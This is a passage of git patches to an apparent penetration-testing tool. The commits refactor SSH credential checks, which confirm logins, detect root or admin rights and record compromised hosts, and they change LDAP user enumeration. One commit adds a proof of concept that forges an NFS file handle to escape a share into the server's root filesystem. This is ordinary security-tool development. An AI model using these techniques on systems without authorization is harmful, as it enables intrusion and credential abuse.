else: + self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id) + + if self.args.key_file: + password = f"{process_secret(password)} (keyfile: {self.args.key_file})" + + display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}" + self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}") + + return True + def check_if_admin(self): self.admin_privs = False @@ -184,105 +283,6 @@ class ssh(connection): self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed") return - def plaintext_login(self, username, password, private_key=""): - self.username = username - self.password = password - try: - if self.args.key_file or private_key: - self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") - - self.conn.connect( - self.host, - port=self.port, - username=username, - passphrase=password if password != "" else None, - key_filename=private_key if private_key else self.args.key_file, - timeout=self.args.ssh_timeout, - look_for_keys=False, - allow_agent=False, - banner_timeout=self.args.ssh_timeout, - ) - - cred_id = self.db.add_credential( - "key", - username, - password if password != "" else "", - key=private_key, - ) - - else: - self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") - self.conn.connect( - self.host, - port=self.port, - username=username, - password=password, - timeout=self.args.ssh_timeout, - look_for_keys=False, - allow_agent=False, - banner_timeout=self.args.ssh_timeout, - ) - cred_id = self.db.add_credential("plaintext", username, password) - - # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey - _, stdout, _ = self.conn.exec_command("id") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - except AuthenticationException as e: - if "Private key file is encrypted" in str(e): - self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") - else: - self.logger.fail(f"{username}:{process_secret(password)}") - except SSHException as e: - if "Invalid key" in str(e): - self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") - elif "Error reading SSH protocol banner" in str(e): - self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") - else: - self.logger.exception(e) - except Exception as e: - self.logger.exception(e) - self.conn.close() - return False - else: - shell_access = False - host_id = self.db.get_hosts(self.host)[0].id - - if not stdout: - _, stdout, _ = self.conn.exec_command("whoami /priv") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - self.server_os_platform = "Windows" - if "SeDebugPrivilege" in stdout: - self.admin_privs = True - elif "SeUndockPrivilege" in stdout: - self.admin_privs = True - self.uac = "with UAC - " - - if not stdout: - self.logger.debug(f"User: {self.username} can't get a basic shell") - self.server_os_platform = "Network Devices" - shell_access = False - else: - shell_access = True - - self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) - - if shell_access and self.server_os_platform == "Linux": - self.check_if_admin() - if self.admin_privs: - self.logger.debug(f"User {username} logged in successfully and is root!") - if self.args.key_file: - self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) - else: - self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id) - - if self.args.key_file: - password = f"{process_secret(password)} (keyfile: {self.args.key_file})" - - display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}" - self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}") - - return True - def put_file_single(self, sftp_conn, src, dst): self.logger.display(f'Copying "{src}" to "{dst}"') try: From 07540ee0c7be3b818b5fb86c55f0834e34ab1c91 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 16:13:59 -0500 Subject: [PATCH 168/376] Renanem priv functions to reflect its implementation --- nxc/protocols/ssh.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 97e0858e..177b4084 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -160,7 +160,7 @@ class ssh(connection): self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) if shell_access and self.server_os_platform == "Linux": - self.check_if_admin() + self.check_linux_priv() if self.admin_privs: self.logger.debug(f"User {username} logged in successfully and is root!") if self.args.key_file: @@ -176,11 +176,11 @@ class ssh(connection): return True - def check_if_admin(self): + def check_linux_priv(self): self.admin_privs = False if self.args.sudo_check: - self.check_if_admin_sudo() + self.check_linux_priv_sudo() return # we could add in another method to check by piping in the password to sudo @@ -207,7 +207,7 @@ class ssh(connection): self.logger.display(tips) return - def check_if_admin_sudo(self): + def check_linux_priv_sudo(self): if not self.password: self.logger.error("Check admin with sudo does not support using a private key") return From 6593fa84db400f4cc7b49217487cc950795e44cd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 16:37:17 -0500 Subject: [PATCH 169/376] Extracting privilege checks from plaintext_login --- nxc/protocols/ssh.py | 73 ++++++++++++++++++++++---------------------- 1 file changed, 37 insertions(+), 36 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 177b4084..739e2e13 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -102,7 +102,6 @@ class ssh(connection): password if password != "" else "", key=private_key, ) - else: self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") self.conn.connect( @@ -118,8 +117,12 @@ class ssh(connection): cred_id = self.db.add_credential("plaintext", username, password) # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey + # Also an early check if we are on Linux or not, as on windows only stderr and not stdout is returned ("id" is not implemented) _, stdout, _ = self.conn.exec_command("id") stdout = stdout.read().decode(self.args.codec, errors="ignore") + + self.check_privs(cred_id, stdout) + return True except AuthenticationException as e: if "Private key file is encrypted" in str(e): self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") @@ -136,45 +139,43 @@ class ssh(connection): self.logger.exception(e) self.conn.close() return False - else: + + def check_privs(self, cred_id, stdout): + shell_access = False + host_id = self.db.get_hosts(self.host)[0].id + + # If we have stdout we know it must be linux, "id" is not implemented on Windows + if not stdout: + self.server_os_platform = "Windows" + _, stdout, _ = self.conn.exec_command("whoami /priv") + stdout = stdout.read().decode(self.args.codec, errors="ignore") + if "SeDebugPrivilege" in stdout: + self.admin_privs = True + elif "SeUndockPrivilege" in stdout: + self.admin_privs = True + self.uac = "with UAC - " + + if not stdout: + self.logger.debug(f"User: {self.username} can't get a basic shell") + self.server_os_platform = "Network Devices" shell_access = False - host_id = self.db.get_hosts(self.host)[0].id + else: + shell_access = True - if not stdout: - _, stdout, _ = self.conn.exec_command("whoami /priv") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - self.server_os_platform = "Windows" - if "SeDebugPrivilege" in stdout: - self.admin_privs = True - elif "SeUndockPrivilege" in stdout: - self.admin_privs = True - self.uac = "with UAC - " + self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) - if not stdout: - self.logger.debug(f"User: {self.username} can't get a basic shell") - self.server_os_platform = "Network Devices" - shell_access = False - else: - shell_access = True + if shell_access and self.server_os_platform == "Linux": + self.check_linux_priv() + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is root!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) - self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) - - if shell_access and self.server_os_platform == "Linux": - self.check_linux_priv() - if self.admin_privs: - self.logger.debug(f"User {username} logged in successfully and is root!") - if self.args.key_file: - self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) - else: - self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id) - - if self.args.key_file: - password = f"{process_secret(password)} (keyfile: {self.args.key_file})" - - display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}" - self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}") - - return True + out = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" + display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}" + self.logger.success(f"{self.username}:{process_secret(out)} {self.mark_pwned()} {highlight(display_shell_access)}") def check_linux_priv(self): self.admin_privs = False From cfc8f2fcfa661b329d29b111562a2f44578b4e47 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 16:37:57 -0500 Subject: [PATCH 170/376] Fix auth --- nxc/protocols/ssh.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 739e2e13..7f9d3fd0 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -138,7 +138,7 @@ class ssh(connection): except Exception as e: self.logger.exception(e) self.conn.close() - return False + return False def check_privs(self, cred_id, stdout): shell_access = False From caba9f662f94309c59ac5050d2409e21f3802862 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 17:42:31 -0500 Subject: [PATCH 171/376] Refactor privilege check logic --- nxc/protocols/ssh.py | 68 ++++++++++++++++++++++++-------------------- 1 file changed, 37 insertions(+), 31 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 7f9d3fd0..f2a7c35c 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -20,6 +20,8 @@ class ssh(connection): self.protocol = "SSH" self.remote_version = "Unknown SSH Version" self.server_os_platform = "Linux" + self.shell_access = False + self.admin_privs = False self.uac = "" super().__init__(args, db, host) @@ -116,12 +118,11 @@ class ssh(connection): ) cred_id = self.db.add_credential("plaintext", username, password) - # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey - # Also an early check if we are on Linux or not, as on windows only stderr and not stdout is returned ("id" is not implemented) - _, stdout, _ = self.conn.exec_command("id") - stdout = stdout.read().decode(self.args.codec, errors="ignore") + self.check_shell(cred_id) - self.check_privs(cred_id, stdout) + out = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" + display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if self.shell_access else ''}" + self.logger.success(f"{self.username}:{process_secret(out)} {self.mark_pwned()} {highlight(display_shell_access)}") return True except AuthenticationException as e: if "Private key file is encrypted" in str(e): @@ -140,31 +141,16 @@ class ssh(connection): self.conn.close() return False - def check_privs(self, cred_id, stdout): - shell_access = False + def check_shell(self, cred_id): host_id = self.db.get_hosts(self.host)[0].id - # If we have stdout we know it must be linux, "id" is not implemented on Windows - if not stdout: - self.server_os_platform = "Windows" - _, stdout, _ = self.conn.exec_command("whoami /priv") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - if "SeDebugPrivilege" in stdout: - self.admin_privs = True - elif "SeUndockPrivilege" in stdout: - self.admin_privs = True - self.uac = "with UAC - " - - if not stdout: - self.logger.debug(f"User: {self.username} can't get a basic shell") - self.server_os_platform = "Network Devices" - shell_access = False - else: - shell_access = True - - self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) - - if shell_access and self.server_os_platform == "Linux": + # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey + # Check Linux + stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Linux" + self.logger.debug(f"Linux detected for user: {stdout}") + self.shell_access = True self.check_linux_priv() if self.admin_privs: self.logger.debug(f"User {self.username} logged in successfully and is root!") @@ -172,10 +158,30 @@ class ssh(connection): self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) else: self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + return - out = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" - display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}" - self.logger.success(f"{self.username}:{process_secret(out)} {self.mark_pwned()} {highlight(display_shell_access)}") + # Check Windows + stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Windows" + self.logger.debug(f"Windows detected for user: {stdout}") + self.shell_access = True + self.check_windows_priv(stdout) + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + return + + # No shell access + self.shell_access = False + self.logger.debug(f"User: {self.username} can't get a basic shell") + self.server_os_platform = "Network Devices" + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + + def check_windows_priv(self, stdout): + if "SeDebugPrivilege" in stdout: + self.admin_privs = True + elif "SeUndockPrivilege" in stdout: + self.admin_privs = True + self.uac = "with UAC - " def check_linux_priv(self): self.admin_privs = False From beee54bea6359fcf445b3a86dc608e47fc28ebff Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 17:50:11 -0500 Subject: [PATCH 172/376] Fix debug logging --- nxc/protocols/ssh.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index f2a7c35c..9885688e 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -120,9 +120,9 @@ class ssh(connection): self.check_shell(cred_id) - out = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" + secret = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if self.shell_access else ''}" - self.logger.success(f"{self.username}:{process_secret(out)} {self.mark_pwned()} {highlight(display_shell_access)}") + self.logger.success(f"{self.username}:{process_secret(secret)} {self.mark_pwned()} {highlight(display_shell_access)}") return True except AuthenticationException as e: if "Private key file is encrypted" in str(e): @@ -164,7 +164,7 @@ class ssh(connection): stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") if stdout: self.server_os_platform = "Windows" - self.logger.debug(f"Windows detected for user: {stdout}") + self.logger.debug("Windows detected") self.shell_access = True self.check_windows_priv(stdout) self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) From 96d23cd174d87b16b769777e5aef0fb0f5d74b39 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 17:52:47 -0500 Subject: [PATCH 173/376] Fix windows output --- nxc/protocols/ssh.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 9885688e..94ba4af9 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -334,6 +334,6 @@ class ssh(connection): else: self.logger.success("Executed command") if get_output: - for line in stdout.split("\n"): + for line in stdout.replace("\r\n", "\n").rstrip("\n").split("\n"): self.logger.highlight(line.strip("\n")) return stdout From 4303f1d43abc829a973e97f8bdcb79402a85ca1b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 17:54:53 -0500 Subject: [PATCH 174/376] Moved to init --- nxc/protocols/ssh.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 94ba4af9..cffb5178 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -184,8 +184,6 @@ class ssh(connection): self.uac = "with UAC - " def check_linux_priv(self): - self.admin_privs = False - if self.args.sudo_check: self.check_linux_priv_sudo() return From d5c6bd927fd244d3832e8e7d1f48c5309316f827 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Fri, 3 Jan 2025 00:09:06 +0100 Subject: [PATCH 175/376] push bloodhound to 1.8 --- poetry.lock | 9 ++++----- pyproject.toml | 2 +- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index d9c08a13..50235202 100644 --- a/poetry.lock +++ b/poetry.lock @@ -343,18 +343,17 @@ files = [ [[package]] name = "bloodhound" -version = "1.7.2" +version = "1.8.0" description = "Python based ingestor for BloodHound" optional = false python-versions = "*" files = [ - {file = "bloodhound-1.7.2-py3-none-any.whl", hash = "sha256:4395feb0df85ae855b369446140746f9b86bcb2d2a328fb14ae45c20a46243f8"}, - {file = "bloodhound-1.7.2.tar.gz", hash = "sha256:512654d7d74ba69a2ad7df89305b62a23c8993a6e3f7a9cfd89403abb2459073"}, + {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, + {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, ] [package.dependencies] dnspython = "*" -future = "*" impacket = ">=0.9.17" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" @@ -2507,4 +2506,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "9af8efb9eb1cf1026dca8b5276ca23db2dbcdf6865fd61920a9daf1098646193" +content-hash = "e48bf197f7fcfe678fa0b9e426ddfa732ded291209cd7e7681551d61cce9a10d" diff --git a/pyproject.toml b/pyproject.toml index c365b429..54a027f0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -40,7 +40,7 @@ aiosqlite = "^0.19.0" argcomplete = "^3.1.4" asyauth = ">=0.0.20" beautifulsoup4 = ">=4.11,<5" -bloodhound = "^1.7.2" +bloodhound = "^1.8.0" dploot = "^3.0.3" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } From 37ae051ad4b9f12dd165b212730927f3facbf14f Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Fri, 3 Jan 2025 00:14:42 +0100 Subject: [PATCH 176/376] fix ruff --- nxc/modules/coerce_plus.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 201dd24e..09017fc5 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -773,8 +773,7 @@ class PrinterBugTrigger: try: endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) self.context.log.debug( - "Resolved dynamic endpoint %s to %s" - % (repr(uuid.bin_to_string(interface)), repr(endpoint)) + f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}" ) return endpoint except Exception as e: From 7a6945a7891fd8fc8cf80aa7b86dde09ca16753e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 18:20:38 -0500 Subject: [PATCH 177/376] Add missing database handling --- nxc/protocols/ssh.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index cffb5178..f2460b5f 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -85,7 +85,6 @@ class ssh(connection): try: if self.args.key_file or private_key: self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") - self.conn.connect( self.host, port=self.port, @@ -97,13 +96,7 @@ class ssh(connection): allow_agent=False, banner_timeout=self.args.ssh_timeout, ) - - cred_id = self.db.add_credential( - "key", - username, - password if password != "" else "", - key=private_key, - ) + cred_id = self.db.add_credential("key", username, password, key=private_key) else: self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") self.conn.connect( @@ -151,6 +144,7 @@ class ssh(connection): self.server_os_platform = "Linux" self.logger.debug(f"Linux detected for user: {stdout}") self.shell_access = True + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) self.check_linux_priv() if self.admin_privs: self.logger.debug(f"User {self.username} logged in successfully and is root!") @@ -166,8 +160,14 @@ class ssh(connection): self.server_os_platform = "Windows" self.logger.debug("Windows detected") self.shell_access = True - self.check_windows_priv(stdout) self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.check_windows_priv(stdout) + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is admin!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) return # No shell access From 23b4a23c5dd027894caa433cbaf77a6bcb5332d5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 18:42:11 -0500 Subject: [PATCH 178/376] Readd functionality that key files are stored to db --- nxc/protocols/ssh.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index f2460b5f..a5c7b9c9 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -90,12 +90,17 @@ class ssh(connection): port=self.port, username=username, passphrase=password if password != "" else None, - key_filename=private_key if private_key else self.args.key_file, + pkey=private_key, + key_filename=self.args.key_file, timeout=self.args.ssh_timeout, look_for_keys=False, allow_agent=False, banner_timeout=self.args.ssh_timeout, ) + # If we get the private key from the file, we need to load it into the database + if self.args.key_file: + with open(self.args.key_file) as f: + private_key = f.read().rstrip("\n") cred_id = self.db.add_credential("key", username, password, key=private_key) else: self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") From a2ae0bde18b0ad12203186ec73865dbce266882a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Jan 2025 20:19:35 -0500 Subject: [PATCH 179/376] POC for escape to root file system --- nxc/protocols/nfs.py | 57 ++++++++++++++++++++++++++++++++- nxc/protocols/nfs/proto_args.py | 1 + 2 files changed, 57 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index ccaceba4..d13e2d30 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,13 +1,27 @@ from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight -from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3 +from pyNfsClient import ( + Portmap, + Mount, + NFSv3, + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, + NF3DIR, + ) import re import uuid import math import os +from pprint import pprint + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -389,6 +403,47 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") + def get_root_handle(self, file_handle): + """ + Get the root handle of the NFS share + Sources: + https://github.com/spotify/linux/blob/master/include/linux/nfsd/nfsfh.h + https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py + + Usually: + - 1 byte: 0x01 fb_version + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) + - 1 byte: 0xXX fb_fsid_type -> determines the legth of the fsid + - 1 byte: 0xXX fb_fileid_type + """ + fh = bytearray(file_handle) + # Concatinate old header with root Inode and Generation id + return bytes(fh[:3] + int.to_bytes(NF3DIR) + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + + def ls(self): + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + output_export = str(self.mount.export()) + + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + for share in ["/var/nfs/general"]: + mount_info = self.mount.mnt(share, self.auth) + fh = mount_info["mountinfo"]["fhandle"] + root_fh = self.get_root_handle(fh) + + # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) + + content = self.nfs3.readdir(root_fh, auth=self.auth)["resok"]["reply"]["entries"] + self.logger.success(f"Using share '{share}' for escape to root fs") + while content: + for entry in content: + self.logger.highlight(f"{entry['name'].decode()}") + content = entry["nextentry"] if "nextentry" in entry else None + self.mount.umnt(self.auth) def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 48b8e41f..bf55ed95 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -6,6 +6,7 @@ def proto_args(parser, parents): dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From c0fe839e2890e72a9ab21b7f7b522f1be12be270 Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 4 Jan 2025 09:23:11 -0500 Subject: [PATCH 180/376] ldap parser stay same as main branch. users and active-users editted for both anon and user auth. --- nxc/parsers/ldap_results.py | 22 ++++++---- nxc/protocols/ldap.py | 87 +++++++++---------------------------- 2 files changed, 33 insertions(+), 76 deletions(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index ac77f6ec..18edc3d5 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -1,5 +1,6 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket + def parse_result_attributes(ldap_response): parsed_response = [] for entry in ldap_response: @@ -7,13 +8,16 @@ def parse_result_attributes(ldap_response): if not isinstance(entry, ldapasn1_impacket.SearchResultEntry): continue attribute_map = {} - if not entry["attributes"]: - if "objectName" in entry: - # Extract the username from the objectName - parsed_response.append({"objectName": str(entry["objectName"]), "sAMAccountName": str(entry["objectName"]).split(",")[0].split("=")[1]}) - else: - for attribute in entry["attributes"]: - val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components] - attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] - parsed_response.append(attribute_map) + for attribute in entry["attributes"]: + val_list = [] + for val in attribute["vals"].components: + try: + encoding = val.encoding + val_decoded = str(val).encode(encoding).decode("utf-8") + except UnicodeDecodeError: + # If we can't decode the value, we'll just return the bytes + val_decoded = val.__bytes__() + val_list.append(val_decoded) + attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0] + parsed_response.append(attribute_map) return parsed_response \ No newline at end of file diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 956c9547..c35f8a93 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -734,36 +734,24 @@ class ldap(connection): search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: resp_parse = parse_result_attributes(resp) - # Handle the case for anonymous LDAP bindings - if self.username == "": - self.logger.highlight(f"{'-Username-':<40}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") - for item in resp_parse: - sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" - parsed_pw_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if str(item.get("pwdLastSet")) != "0" else "0") - pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" - description = item.get("description") if item.get("description") else "" - - self.logger.highlight(f"{sAMAccountName:<40}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") - return - - # we print the total records after we parse the results since often SearchResultReferences are returned + + # We print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parse: # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module - parsed_pw_last_set = "" - pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("0" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) - # we default attributes to blank strings if they don't exist in the dict - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") + # We default attributes to blank strings if they don't exist in the dict + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") def groups(self): # Building the search filter @@ -813,81 +801,46 @@ class 